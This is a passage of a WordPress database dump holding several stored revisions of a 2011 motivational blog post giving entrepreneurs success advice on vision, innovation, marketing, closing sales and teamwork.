marketplace. The only way to do this is by uniquely positioning your value proposition above and beyond the features, benefits and utility of your products and services. Your best customers don’t really care about having more product features that work well. Everything works well these days! They expect that!  That’s not enough for you to have competitive advantage and command premium prices.\n\nTo create demand for what you offer, bake the marketing into its creation and delivery. Customers must have trust and confidence that what you represent will elevate their life circumstances and alleviate their pain first. It’s always about them and never you.\n\n<strong>Be a Closer.</strong>\nNothing happens until you have a paying customer. Converting prospects to customers requires being trusted and respected– still not enough to turn a relationship into cash. All Closers have a very well defined sales process that removes every buyer objection all along the complete buying cycle. At each step, Closers strengthen the foundation of the business relationship long before any money is involved.\n\nAnd once money has changed hands, Closers never allow their customers to experience buyer’s remorse for very long. Closers remove all fear and doubt and reinforce belief that they are the best choice.  Closers are value creators not order-takers. Are you a Closer?\n\n<strong>Work with the best people.</strong>\nWhen you’re the greatest at whatever it is that you do, why settle for less than the best when choosing who your partners, employees and collaborators will be? For you to take a quantum leap in your progress, it’s essential you attract and retain the greatest talent to help you achieve your goals.  Your greatness attracts in equal measure other great people who what to hang with you and help you be successful.  Partner with people who are operating at higher genius levels in areas where you are weak.\n\nLet great people do the great work they’re meant to do by forming a team that is a force multiplier for the success of all concerned. Rugged individualism is a boat anchor on the ship of progress.\n\n<strong>Create experiences people love.</strong>\nAt the end of the day, all success in business is based on love. Serving your customers by elevating their life experience is how you demonstrate your caring and love for them. Always deliver on your promise and then some.  In every activity, the most successful entrepreneurs always provide more use value than they receive in cash value.\n\nEnlightened entrepreneurs who lead markets shift their focus from counting transactions to innovating scintillating, dramatic, novel, relevant, transformative experiences that people love and love to share with others.\n\n<strong>\n</strong>', 'Essential steps for realizing your next level of success!', 0, '', 'inherit', 'open', 'open', '', '1470-revision-16', '', '', '2011-01-18 12:19:25', '2011-01-18 19:19:25', '', 1470, 'http://www.whitehotcenter.com/2011/01/18/1470-revision-16/', 0, 'revision', '', 0),
(1475, 2, '2011-01-18 12:06:07', '2011-01-18 19:06:07', '<img class="alignnone size-full wp-image-1471" title="ladder of success" src="http://whc.fbdev.org/wp-content/uploads/2011/01/ladder.gif" alt="" width="441" height="369" />\n<h1><span style="color: #808080;">In the process of climbing your ladder to create success, you can easily feel overwhelmed.  When you do, refocus your creative energy on these fundamental steps essential for realizing your next level of success.</span></h1>\n<strong>There’s nothing sexy or complicated about these timeless principals  for extraordinary performance and achievement. When you’re feeling  stuck, get yourself refocused on the discipline to master the basics of  playing a bigger game and making quantum leaps. Start with what’s at  hand and from where you stand. Which of these essential ingredients are  already present in you? Which of these require more of your focus and  attention</strong>?\n\n<strong>Be the greatest.</strong>\nI remember how I marveled at the iconic Mohammed Ali constantly proclaiming “I am the greatest!”  Long before he was the greatest, he knew that in order for him to experience and demonstrate his greatness, he had to stay standing in the ring and take the punishing punches from a bunch of other great fighters. He played big! His burning desire to be the greatest prizefighter ever was far more powerful than his fear and doubt that he might not be the greatest.  And so it is with you in your business. Whatever your industry or profession, stand in your greatest and share it every day!\n\nCommit yourself to your greatness and settle for nothing less. Being the greatest means knowing that there is no end to your learning, growth and capability to attract the best opportunities simply through the quality of your presence. Every moment in your life presents a choice to be great, or to be safe and cozy in the slush pile.\n\n<strong>Create a compelling vision, then a real plan.</strong>\nNo progress is made without a compelling vision and a master plan. And one is no good without the other. Know what you want, commit to making it happen no matter what, and believe you can achieve it.  Wishing won’t get it done. You need a plan. The best way to design a plan is to put your compelling vision in writing.  A written vision is the first particle of matter towards its realization.\n\nAnd while you’re at it, make sure your thinking is bigger than the thinking that has brought you to your current reality. I’d like to suggest that instead of being content with planning gradual, conventional progress, your plan should facilitate rapid, radical moves several stages above where you’re at now. Plan for a breakthrough– design your quantum leap!\n\n<strong>Create products and services that create new value.</strong>\nThere’s no more room in the marketplace for me-too anything. Innovate products and services that are an equal reflection of your own unique greatness. You can’t experience quantum leaps in your success if you offer products and services that are the same as everybody else.\n\nYour purpose in business is to innovate new value in the marketplace, not compete for the value that has already been created.  To paraphrase Steve Jobs “put your own dent in the universe”.\n\n<strong>Bake in the marketing.</strong>\nYour offerings must represent an ideal that is highly valued by the best customers in your marketplace. The only way to do this is by uniquely positioning your value proposition above and beyond the features, benefits and utility of your products and services. Your best customers don’t really care about having more product features that work well. Everything works well these days! They expect that!  That’s not enough for you to have competitive advantage and command premium prices.\n\nTo create demand for what you offer, bake the marketing into its creation and delivery. Customers must have trust and confidence that what you represent will elevate their life circumstances and alleviate their pain first. It’s always about them and never you.\n\n<strong>Be a Closer.</strong>\nNothing happens until you have a paying customer. Converting prospects to customers requires being trusted and respected– still not enough to turn a relationship into cash. All Closers have a very well defined sales process that removes every buyer objection all along the complete buying cycle. At each step, Closers strengthen the foundation of the business relationship long before any money is involved.\n\nAnd once money has changed hands, Closers never allow their customers to experience buyer’s remorse for very long. Closers remove all fear and doubt and reinforce belief that they are the best choice.  Closers are value creators not order-takers. Are you a Closer?\n\n<strong>Work with the best people.</strong>\nWhen you’re the greatest at whatever it is that you do, why settle for less than the best when choosing who your partners, employees and collaborators will be? For you to take a quantum leap in your progress, it’s essential you attract and retain the greatest talent to help you achieve your goals.  Your greatness attracts in equal measure other great people who what to hang with you and help you be successful.  Partner with people who are operating at higher genius levels in areas where you are weak.\n\nLet great people do the great work they’re meant to do by forming a team that is a force multiplier for the success of all concerned. Rugged individualism is a boat anchor on the ship of progress.\n\n<strong>Create experiences people love.</strong>\nAt the end of the day, all success in business is based on love. Serving your customers by elevating their life experience is how you demonstrate your caring and love for them. Always deliver on your promise and then some.  In every activity, the most successful entrepreneurs always provide more use value than they receive in cash value.\n\nEnlightened entrepreneurs who lead markets shift their focus from counting transactions to innovating scintillating, dramatic, novel, relevant, transformative experiences that people love and love to share with others.\n\n<strong>There’s nothing sexy or complicated about these timeless principals for extraordinary performance and achievement. When you’re feeling stuck, get yourself refocused on the discipline to master the basics of playing a bigger game and making quantum leaps. Start with what’s at hand and from where you stand. Which of these essential ingredients are already present in you? Which of these require more of your focus and attention</strong>?', 'Essential steps for realizing your next level of success!', 0, '', 'inherit', 'open', 'open', '', '1470-revision-4', '', '', '2011-01-18 12:06:07', '2011-01-18 19:06:07', '', 1470, 'http://www.whitehotcenter.com/2011/01/18/1470-revision-4/', 0, 'revision', '', 0);
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(1472, 2, '2011-01-18 11:58:37', '2011-01-18 18:58:37', '<img class="alignnone size-full wp-image-1471" title="ladder of success" src="http://whc.fbdev.org/wp-content/uploads/2011/01/ladder.gif" alt="" width="490" height="410" />\n<h1><span style="color: #808080;">In the process of climbing your ladder to create success, you can easily feel overwhelmed.  When you do, refocus your creative energy on these fundamental steps essential for realizing your next level of success.</span></h1>\nHuman beings are the only species on the planet with the power to turn formless thoughts into physical things. This attribute perfectly describes the  “creativity gene” that I believe is a part of the DNA of every human being– and entrepreneurs in particular.  In my opinion, entrepreneurs represent the cutting edge of humanity. Entrepreneurs are the greatest of the great–the creative force in the global economy. Everyday, entrepreneurs take their formless ideas and turn them into value in the marketplace. That’s awesome!\n\nIf you are thinking about how to play a bigger game in your business to realize your next level of success, here are some suggestions for you to consider:<strong></strong>\n\n<strong>Be the greatest.</strong>\nI remember how I marveled at the iconic Mohammed Ali constantly proclaiming “I am the greatest!”  Long before he was the greatest, he knew that in order for him to experience and demonstrate his greatness, he had to stay standing in the ring and take the punishing punches from a bunch of other great fighters. He played big! His burning desire to be the greatest prizefighter ever was far more powerful than his fear and doubt that he might not be the greatest.  And so it is with you in your business. Whatever your industry or profession, stand in your greatest and share it every day!\n\nCommit yourself to your greatness and settle for nothing less. Being the greatest means knowing that there is no end to your learning, growth and capability to attract the best opportunities simply through the quality of your presence. Every moment in your life presents a choice to be great, or to be safe and cozy in the slush pile.\n\n<strong>Create a compelling vision, then a real plan.</strong>\nNo progress is made without a compelling vision and a master plan. And one is no good without the other. Know what you want, commit to making it happen no matter what, and believe you can achieve it.  Wishing won’t get it done. You need a plan. The best way to design a plan is to put your compelling vision in writing.  A written vision is the first particle of matter towards its realization.\n\nAnd while you’re at it, make sure your thinking is bigger than the thinking that has brought you to your current reality. I’d like to suggest that instead of being content with planning gradual, conventional progress, your plan should facilitate rapid, radical moves several stages above where you’re at now. Plan for a breakthrough– design your quantum leap!\n\n<strong>Create products and services that create new value.</strong>\nThere’s no more room in the marketplace for me-too anything. Innovate products and services that are an equal reflection of your own unique greatness. You can’t experience quantum leaps in your success if you offer products and services that are the same as everybody else.\n\nYour purpose in business is to innovate new value in the marketplace, not compete for the value that has already been created.  To paraphrase Steve Jobs “put your own dent in the universe”.\n\n<strong>Bake in the marketing.</strong>\nYour offerings must represent an ideal that is highly valued by the best customers in your marketplace. The only way to do this is by uniquely positioning your value proposition above and beyond the features, benefits and utility of your products and services. Your best customers don’t really care about having more product features that work well. Everything works well these days! They expect that!  That’s not enough for you to have competitive advantage and command premium prices.\n\nTo create demand for what you offer, bake the marketing into its creation and delivery. Customers must have trust and confidence that what you represent will elevate their life circumstances and alleviate their pain first. It’s always about them and never you.\n\n<strong>Be a Closer.</strong>\nNothing happens until you have a paying customer. Converting prospects to customers requires being trusted and respected– still not enough to turn a relationship into cash. All Closers have a very well defined sales process that removes every buyer objection all along the complete buying cycle. At each step, Closers strengthen the foundation of the business relationship long before any money is involved.\n\nAnd once money has changed hands, Closers never allow their customers to experience buyer’s remorse for very long. Closers remove all fear and doubt and reinforce belief that they are the best choice.  Closers are value creators not order-takers. Are you a Closer?\n\n<strong>Work with the best people.</strong>\nWhen you’re the greatest at whatever it is that you do, why settle for less than the best when choosing who your partners, employees and collaborators will be? For you to take a quantum leap in your progress, it’s essential you attract and retain the greatest talent to help you achieve your goals.  Your greatness attracts in equal measure other great people who what to hang with you and help you be successful.  Partner with people who are operating at higher genius levels in areas where you are weak.\n\nLet great people do the great work they’re meant to do by forming a team that is a force multiplier for the success of all concerned. Rugged individualism is a boat anchor on the ship of progress.\n\n<strong>Create experiences people love.</strong>\nAt the end of the day, all success in business is based on love. Serving your customers by elevating their life experience is how you demonstrate your caring and love for them. Always deliver on your promise and then some.  In every activity, the most successful entrepreneurs always provide more use value than they receive in cash value.\n\nEnlightened entrepreneurs who lead markets shift their focus from counting transactions to innovating scintillating, dramatic, novel, relevant, transformative experiences that people love and love to share with others.\n\nThere’s nothing sexy or complicated about these timeless principals for extraordinary performance and achievement. When you’re feeling stuck, get yourself refocused on the discipline to master the basics of playing a bigger game and making quantum leaps. Start with what’s at hand and from where you stand. Which of these essential ingredients are already present in you? Which of these require more of your focus and attention?', 'Essential steps for realizing your next level of success!', 0, '', 'inherit', 'open', 'open', '', '1470-revision', '', '', '2011-01-18 11:58:37', '2011-01-18 18:58:37', '', 1470, 'http://www.whitehotcenter.com/2011/01/18/1470-revision/', 0, 'revision', '', 0),
(1473, 2, '2011-01-18 11:58:55', '2011-01-18 18:58:55', '<img class="alignnone size-full wp-image-1471" title="ladder of success" src="http://whc.fbdev.org/wp-content/uploads/2011/01/ladder.gif" alt="" width="490" height="410" />\r\n<h1><span style="color: #808080;">In the process of climbing your ladder to create success, you can easily feel overwhelmed.  When you do, refocus your creative energy on these fundamental steps essential for realizing your next level of success.</span></h1>\r\nHuman beings are the only species on the planet with the power to turn formless thoughts into physical things. This attribute perfectly describes the  “creativity gene” that I believe is a part of the DNA of every human being– and entrepreneurs in particular.  In my opinion, entrepreneurs represent the cutting edge of humanity. Entrepreneurs are the greatest of the great–the creative force in the global economy. Everyday, entrepreneurs take their formless ideas and turn them into value in the marketplace. That’s awesome!\r\n\r\nIf you are thinking about how to play a bigger game in your business to realize your next level of success, here are some suggestions for you to consider:<strong></strong>\r\n\r\n<strong>Be the greatest.</strong>\r\nI remember how I marveled at the iconic Mohammed Ali constantly proclaiming “I am the greatest!”  Long before he was the greatest, he knew that in order for him to experience and demonstrate his greatness, he had to stay standing in the ring and take the punishing punches from a bunch of other great fighters. He played big! His burning desire to be the greatest prizefighter ever was far more powerful than his fear and doubt that he might not be the greatest.  And so it is with you in your business. Whatever your industry or profession, stand in your greatest and share it every day!\r\n\r\nCommit yourself to your greatness and settle for nothing less. Being the greatest means knowing that there is no end to your learning, growth and capability to attract the best opportunities simply through the quality of your presence. Every moment in your life presents a choice to be great, or to be safe and cozy in the slush pile.\r\n\r\n<strong>Create a compelling vision, then a real plan.</strong>\r\nNo progress is made without a compelling vision and a master plan. And one is no good without the other. Know what you want, commit to making it happen no matter what, and believe you can achieve it.  Wishing won’t get it done. You need a plan. The best way to design a plan is to put your compelling vision in writing.  A written vision is the first particle of matter towards its realization.\r\n\r\nAnd while you’re at it, make sure your thinking is bigger than the thinking that has brought you to your current reality. I’d like to suggest that instead of being content with planning gradual, conventional progress, your plan should facilitate rapid, radical moves several stages above where you’re at now. Plan for a breakthrough– design your quantum leap!\r\n\r\n<strong>Create products and services that create new value.</strong>\r\nThere’s no more room in the marketplace for me-too anything. Innovate products and services that are an equal reflection of your own unique greatness. You can’t experience quantum leaps in your success if you offer products and services that are the same as everybody else.\r\n\r\nYour purpose in business is to innovate new value in the marketplace, not compete for the value that has already been created.  To paraphrase Steve Jobs “put your own dent in the universe”.\r\n\r\n<strong>Bake in the marketing.</strong>\r\nYour offerings must represent an ideal that is highly valued by the best customers in your marketplace. The only way to do this is by uniquely positioning your value proposition above and beyond the features, benefits and utility of your products and services. Your best customers don’t really care about having more product features that work well. Everything works well these days! They expect that!  That’s not enough for you to have competitive advantage and command premium prices.\r\n\r\nTo create demand for what you offer, bake the marketing into its creation and delivery. Customers must have trust and confidence that what you represent will elevate their life circumstances and alleviate their pain first. It’s always about them and never you.\r\n\r\n<strong>Be a Closer.</strong>\r\nNothing happens until you have a paying customer. Converting prospects to customers requires being trusted and respected– still not enough to turn a relationship into cash. All Closers have a very well defined sales process that removes every buyer objection all along the complete buying cycle. At each step, Closers strengthen the foundation of the business relationship long before any money is involved.\r\n\r\nAnd once money has changed hands, Closers never allow their customers to experience buyer’s remorse for very long. Closers remove all fear and doubt and reinforce belief that they are the best choice.  Closers are value creators not order-takers. Are you a Closer?\r\n\r\n<strong>Work with the best people.</strong>\r\nWhen you’re the greatest at whatever it is that you do, why settle for less than the best when choosing who your partners, employees and collaborators will be? For you to take a quantum leap in your progress, it’s essential you attract and retain the greatest talent to help you achieve your goals.  Your greatness attracts in equal measure other great people who what to hang with you and help you be successful.  Partner with people who are operating at higher genius levels in areas where you are weak.\r\n\r\nLet great people do the great work they’re meant to do by forming a team that is a force multiplier for the success of all concerned. Rugged individualism is a boat anchor on the ship of progress.\r\n\r\n<strong>Create experiences people love.</strong>\r\nAt the end of the day, all success in business is based on love. Serving your customers by elevating their life experience is how you demonstrate your caring and love for them. Always deliver on your promise and then some.  In every activity, the most successful entrepreneurs always provide more use value than they receive in cash value.\r\n\r\nEnlightened entrepreneurs who lead markets shift their focus from counting transactions to innovating scintillating, dramatic, novel, relevant, transformative experiences that people love and love to share with others.\r\n\r\n<strong>There’s nothing sexy or complicated about these timeless principals for extraordinary performance and achievement. When you’re feeling stuck, get yourself refocused on the discipline to master the basics of playing a bigger game and making quantum leaps. Start with what’s at hand and from where you stand. Which of these essential ingredients are already present in you? Which of these require more of your focus and attention</strong>?', 'Essential steps for realizing your next level of success!', 0, '', 'inherit', 'open', 'open', '', '1470-revision-2', '', '', '2011-01-18 11:58:55', '2011-01-18 18:58:55', '', 1470, 'http://www.whitehotcenter.com/2011/01/18/1470-revision-2/', 0, 'revision', '', 0),
(1474, 2, '2011-01-18 11:59:08', '2011-01-18 18:59:08', '<img class="alignnone size-full wp-image-1471" title="ladder of success" src="http://whc.fbdev.org/wp-content/uploads/2011/01/ladder.gif" alt="" width="490" height="410" />\r\n<h1><span style="color: #808080;">In the process of climbing your ladder to create success, you can easily feel overwhelmed.  When you do, refocus your creative energy on these fundamental steps essential for realizing your next level of success.</span></h1>\r\nHuman beings are the only species on the planet with the power to turn formless thoughts into physical things. This attribute perfectly describes the  “creativity gene” that I believe is a part of the DNA of every human being– and entrepreneurs in particular.  In my opinion, entrepreneurs represent the cutting edge of humanity. Entrepreneurs are the greatest of the great–the creative force in the global economy. Everyday, entrepreneurs take their formless ideas and turn them into value in the marketplace. That’s awesome!\r\n\r\nIf you are thinking about how to play a bigger game in your business to realize your next level of success, here are some suggestions for you to consider:<strong></strong>\r\n\r\n<strong>Be the greatest.</strong>\r\nI remember how I marveled at the iconic Mohammed Ali constantly proclaiming “I am the greatest!”  Long before he was the greatest, he knew that in order for him to experience and demonstrate his greatness, he had to stay standing in the ring and take the punishing punches from a bunch of other great fighters. He played big! His burning desire to be the greatest prizefighter ever was far more powerful than his fear and doubt that he might not be the greatest.  And so it is with you in your business. Whatever your industry or profession, stand in your greatest and share it every day!\r\n\r\nCommit yourself to your greatness and settle for nothing less. Being the greatest means knowing that there is no end to your learning, growth and capability to attract the best opportunities simply through the quality of your presence. Every moment in your life presents a choice to be great, or to be safe and cozy in the slush pile.\r\n\r\n<strong>Create a compelling vision, then a real plan.</strong>\r\nNo progress is made without a compelling vision and a master plan. And one is no good without the other. Know what you want, commit to making it happen no matter what, and believe you can achieve it.  Wishing won’t get it done. You need a plan. The best way to design a plan is to put your compelling vision in writing.  A written vision is the first particle of matter towards its realization.\r\n\r\nAnd while you’re at it, make sure your thinking is bigger than the thinking that has brought you to your current reality. I’d like to suggest that instead of being content with planning gradual, conventional progress, your plan should facilitate rapid, radical moves several stages above where you’re at now. Plan for a breakthrough– design your quantum leap!\r\n\r\n<strong>Create products and services that create new value.</strong>\r\nThere’s no more room in the marketplace for me-too anything. Innovate products and services that are an equal reflection of your own unique greatness. You can’t experience quantum leaps in your success if you offer products and services that are the same as everybody else.\r\n\r\nYour purpose in business is to innovate new value in the marketplace, not compete for the value that has already been created.  To paraphrase Steve Jobs “put your own dent in the universe”.\r\n\r\n<strong>Bake in the marketing.</strong>\r\nYour offerings must represent an ideal that is highly valued by the best customers in your marketplace. The only way to do this is by uniquely positioning your value proposition above and beyond the features, benefits and utility of your products and services. Your best customers don’t really care about having more product features that work well. Everything works well these days! They expect that!  That’s not enough for you to have competitive advantage and command premium prices.\r\n\r\nTo create demand for what you offer, bake the marketing into its creation and delivery. Customers must have trust and confidence that what you represent will elevate their life circumstances and alleviate their pain first. It’s always about them and never you.\r\n\r\n<strong>Be a Closer.</strong>\r\nNothing happens until you have a paying customer. Converting prospects to customers requires being trusted and respected– still not enough to turn a relationship into cash. All Closers have a very well defined sales process that removes every buyer objection all along the complete buying cycle. At each step, Closers strengthen the foundation of the business relationship long before any money is involved.\r\n\r\nAnd once money has changed hands, Closers never allow their customers to experience buyer’s remorse for very long. Closers remove all fear and doubt and reinforce belief that they are the best choice.  Closers are value creators not order-takers. Are you a Closer?\r\n\r\n<strong>Work with the best people.</strong>\r\nWhen you’re the greatest at whatever it is that you do, why settle for less than the best when choosing who your partners, employees and collaborators will be? For you to take a quantum leap in your progress, it’s essential you attract and retain the greatest talent to help you achieve your goals.  Your greatness attracts in equal measure other great people who what to hang with you and help you be successful.  Partner with people who are operating at higher genius levels in areas where you are weak.\r\n\r\nLet great people do the great work they’re meant to do by forming a team that is a force multiplier for the success of all concerned. Rugged individualism is a boat anchor on the ship of progress.\r\n\r\n<strong>Create experiences people love.</strong>\r\nAt the end of the day, all success in business is based on love. Serving your customers by elevating their life experience is how you demonstrate your caring and love for them. Always deliver on your promise and then some.  In every activity, the most successful entrepreneurs always provide more use value than they receive in cash value.\r\n\r\nEnlightened entrepreneurs who lead markets shift their focus from counting transactions to innovating scintillating, dramatic, novel, relevant, transformative experiences that people love and love to share with others.\r\n\r\n<strong>There’s nothing sexy or complicated about these timeless principals for extraordinary performance and achievement. When you’re feeling stuck, get yourself refocused on the discipline to master the basics of playing a bigger game and making quantum leaps. Start with what’s at hand and from where you stand. Which of these essential ingredients are already present in you? Which of these require more of your focus and attention</strong>?', 'Essential steps for realizing your next level of success!', 0, '', 'inherit', 'open', 'open', '', '1470-revision-3', '', '', '2011-01-18 11:59:08', '2011-01-18 18:59:08', '', 1470, 'http://www.whitehotcenter.com/2011/01/18/1470-revision-3/', 0, 'revision', '', 0),
(1481, 2, '2011-01-18 12:09:23', '2011-01-18 19:09:23', '<img class="alignnone size-full wp-image-1471" title="ladder of success" src="http://whc.fbdev.org/wp-content/uploads/2011/01/ladder.gif" alt="" width="441" height="369" />\r\n<h1><span style="color: #808080;">In the process of climbing your ladder to create success, you can easily feel overwhelmed.  When you do, focus your creative energy on these fundamental steps essential for realizing your next level of success.</span></h1>\r\n<strong>There’s nothing sexy or complicated about these timeless principals  for extraordinary performance and achievement. When you’re feeling  stuck, get yourself focused on the discipline to master the basics of  playing a bigger game and making quantum leaps. Start with what’s at  hand and from where you stand. Which of these essential ingredients are  already present in you? Which of these require more of your focus and  attention</strong>?\r\n\r\n<strong>Be the greatest.</strong>\r\nI remember how I marveled at the iconic Mohammed Ali constantly proclaiming “I am the greatest!”  Long before he was the greatest, he knew that in order for him to experience and demonstrate his greatness, he had to stay standing in the ring and take the punishing punches from a bunch of other great fighters. He played big! His burning desire to be the greatest prizefighter ever was far more powerful than his fear and doubt that he might not be the greatest.  And so it is with you in your business. Whatever your industry or profession, stand in your greatest and share it every day!\r\n\r\nCommit yourself to your greatness and settle for nothing less. Being the greatest means knowing that there is no end to your learning, growth and capability to attract the best opportunities simply through the quality of your presence. Every moment in your life presents a choice to be great, or to be safe and cozy in the slush pile.\r\n\r\n<strong>Create a compelling vision, then a real plan.</strong>\r\nNo progress is made without a compelling vision and a master plan. And one is no good without the other. Know what you want, commit to making it happen no matter what, and believe you can achieve it.  Wishing won’t get it done. You need a plan. The best way to design a plan is to put your compelling vision in writing.  A written vision is the first particle of matter towards its realization.\r\n\r\nAnd while you’re at it, make sure your thinking is bigger than the thinking that has brought you to your current reality. I’d like to suggest that instead of being content with planning gradual, conventional progress, your plan should facilitate rapid, radical moves several stages above where you’re at now. Plan for a breakthrough– design your quantum leap!\r\n\r\n<strong>Create products and services that create new value.</strong>\r\nThere’s no more room in the marketplace for me-too anything. Innovate products and services that are an equal reflection of your own unique greatness. You can’t experience quantum leaps in your success if you offer products and services that are the same as everybody else.\r\n\r\nYour purpose in business is to innovate new value in the marketplace, not compete for the value that has already been created.  To paraphrase Steve Jobs “put your own dent in the universe”.\r\n\r\n<strong>Bake in the marketing.</strong>\r\nYour offerings must represent an ideal that is highly valued by the best customers in your marketplace. The only way to do this is by uniquely positioning your value proposition above and beyond the features, benefits and utility of your products and services. Your best customers don’t really care about having more product features that work well. Everything works well these days! They expect that!  That’s not enough for you to have competitive advantage and command premium prices.\r\n\r\nTo create demand for what you offer, bake the marketing into its creation and delivery. Customers must have trust and confidence that what you represent will elevate their life circumstances and alleviate their pain first. It’s always about them and never you.\r\n\r\n<strong>Be a Closer.</strong>\r\nNothing happens until you have a paying customer. Converting prospects to customers requires being trusted and respected– still not enough to turn a relationship into cash. All Closers have a very well defined sales process that removes every buyer objection all along the complete buying cycle. At each step, Closers strengthen the foundation of the business relationship long before any money is involved.\r\n\r\nAnd once money has changed hands, Closers never allow their customers to experience buyer’s remorse for very long. Closers remove all fear and doubt and reinforce belief that they are the best choice.  Closers are value creators not order-takers. Are you a Closer?\r\n\r\n<strong>Work with the best people.</strong>\r\nWhen you’re the greatest at whatever it is that you do, why settle for less than the best when choosing who your partners, employees and collaborators will be? For you to take a quantum leap in your progress, it’s essential you attract and retain the greatest talent to help you achieve your goals.  Your greatness attracts in equal measure other great people who what to hang with you and help you be successful.  Partner with people who are operating at higher genius levels in areas where you are weak.\r\n\r\nLet great people do the great work they’re meant to do by forming a team that is a force multiplier for the success of all concerned. Rugged individualism is a boat anchor on the ship of progress.\r\n\r\n<strong>Create experiences people love.</strong>\r\nAt the end of the day, all success in business is based on love. Serving your customers by elevating their life experience is how you demonstrate your caring and love for them. Always deliver on your promise and then some.  In every activity, the most successful entrepreneurs always provide more use value than they receive in cash value.\r\n\r\nEnlightened entrepreneurs who lead markets shift their focus from counting transactions to innovating scintillating, dramatic, novel, relevant, transformative experiences that people love and love to share with others.\r\n\r\n<strong>\r\n</strong>', 'Essential steps for realizing your next level of success!', 0, '', 'inherit', 'open', 'open', '', '1470-revision-10', '', '', '2011-01-18 12:09:23', '2011-01-18 19:09:23', '', 1470, 'http://www.whitehotcenter.com/2011/01/18/1470-revision-10/', 0, 'revision', '', 0),
(1476, 2, '2011-01-18 12:06:17', '2011-01-18 19:06:17', '<img class="alignnone size-full wp-image-1471" title="ladder of success" src="http://whc.fbdev.org/wp-content/uploads/2011/01/ladder.gif" alt="" width="441" height="369" />\r\n<h1><span style="color: #808080;">In the process of climbing your ladder to create success, you can easily feel overwhelmed.  When you do, refocus your creative energy on these fundamental steps essential for realizing your next level of success.</span></h1>\r\n<strong></strong><strong>There’s nothing sexy or complicated about these timeless principals  for extraordinary performance and achievement. When you’re feeling  stuck, get yourself refocused on the discipline to master the basics of  playing a bigger game and making quantum leaps. Start with what’s at  hand and from where you stand. Which of these essential ingredients are  already present in you? Which of these require more of your focus and  attention</strong>?\r\n\r\n<strong>Be the greatest.</strong>\r\nI remember how I marveled at the iconic Mohammed Ali constantly proclaiming “I am the greatest!”  Long before he was the greatest, he knew that in order for him to experience and demonstrate his greatness, he had to stay standing in the ring and take the punishing punches from a bunch of other great fighters. He played big! His burning desire to be the greatest prizefighter ever was far more powerful than his fear and doubt that he might not be the greatest.  And so it is with you in your business. Whatever your industry or profession, stand in your greatest and share it every day!\r\n\r\nCommit yourself to your greatness and settle for nothing less. Being the greatest means knowing that there is no end to your learning, growth and capability to attract the best opportunities simply through the quality of your presence. Every moment in your life presents a choice to be great, or to be safe and cozy in the slush pile.\r\n\r\n<strong>Create a compelling vision, then a real plan.</strong>\r\nNo progress is made without a compelling vision and a master plan. And one is no good without the other. Know what you want, commit to making it happen no matter what, and believe you can achieve it.  Wishing won’t get it done. You need a plan. The best way to design a plan is to put your compelling vision in writing.  A written vision is the first particle of matter towards its realization.\r\n\r\nAnd while you’re at it, make sure your thinking is bigger than the thinking that has brought you to your current reality. I’d like to suggest that instead of being content with planning gradual, conventional progress, your plan should facilitate rapid, radical moves several stages above where you’re at now. Plan for a breakthrough– design your quantum leap!\r\n\r\n<strong>Create products and services that create new value.</strong>\r\nThere’s no more room in the marketplace for me-too anything. Innovate products and services that are an equal reflection of your own unique greatness. You can’t experience quantum leaps in your success if you offer products and services that are the same as everybody else.\r\n\r\nYour purpose in business is to innovate new value in the marketplace, not compete for the value that has already been created.  To paraphrase Steve Jobs “put your own dent in the universe”.\r\n\r\n<strong>Bake in the marketing.</strong>\r\nYour offerings must represent an ideal that is highly valued by the best customers in your marketplace. The only way to do this is by uniquely positioning your value proposition above and beyond the features, benefits and utility of your products and services. Your best customers don’t really care about having more product features that work well. Everything works well these days! They expect that!  That’s not enough for you to have competitive advantage and command premium prices.\r\n\r\nTo create demand for what you offer, bake the marketing into its creation and delivery. Customers must have trust and confidence that what you represent will elevate their life circumstances and alleviate their pain first. It’s always about them and never you.\r\n\r\n<strong>Be a Closer.</strong>\r\nNothing happens until you have a paying customer. Converting prospects to customers requires being trusted and respected– still not enough to turn a relationship into cash. All Closers have a very well defined sales process that removes every buyer objection all along the complete buying cycle. At each step, Closers strengthen the foundation of the business relationship long before any money is involved.\r\n\r\nAnd once money has changed hands, Closers never allow their customers to experience buyer’s remorse for very long. Closers remove all fear and doubt and reinforce belief that they are the best choice.  Closers are value creators not order-takers. Are you a Closer?\r\n\r\n<strong>Work with the best people.</strong>\r\nWhen you’re the greatest at whatever it is that you do, why settle for less than the best when choosing who your partners, employees and collaborators will be? For you to take a quantum leap in your progress, it’s essential you attract and retain the greatest talent to help you achieve your goals.  Your greatness attracts in equal measure other great people who what to hang with you and help you be successful.  Partner with people who are operating at higher genius levels in areas where you are weak.\r\n\r\nLet great people do the great work they’re meant to do by forming a team that is a force multiplier for the success of all concerned. Rugged individualism is a boat anchor on the ship of progress.\r\n\r\n<strong>Create experiences people love.</strong>\r\nAt the end of the day, all success in business is based on love. Serving your customers by elevating their life experience is how you demonstrate your caring and love for them. Always deliver on your promise and then some.  In every activity, the most successful entrepreneurs always provide more use value than they receive in cash value.\r\n\r\nEnlightened entrepreneurs who lead markets shift their focus from counting transactions to innovating scintillating, dramatic, novel, relevant, transformative experiences that people love and love to share with others.\r\n\r\n<strong>There’s nothing sexy or complicated about these timeless principals for extraordinary performance and achievement. When you’re feeling stuck, get yourself refocused on the discipline to master the basics of playing a bigger game and making quantum leaps. Start with what’s at hand and from where you stand. Which of these essential ingredients are already present in you? Which of these require more of your focus and attention</strong>?', 'Essential steps for realizing your next level of success!', 0, '', 'inherit', 'open', 'open', '', '1470-revision-5', '', '', '2011-01-18 12:06:17', '2011-01-18 19:06:17', '', 1470, 'http://www.whitehotcenter.com/2011/01/18/1470-revision-5/', 0, 'revision', '', 0),
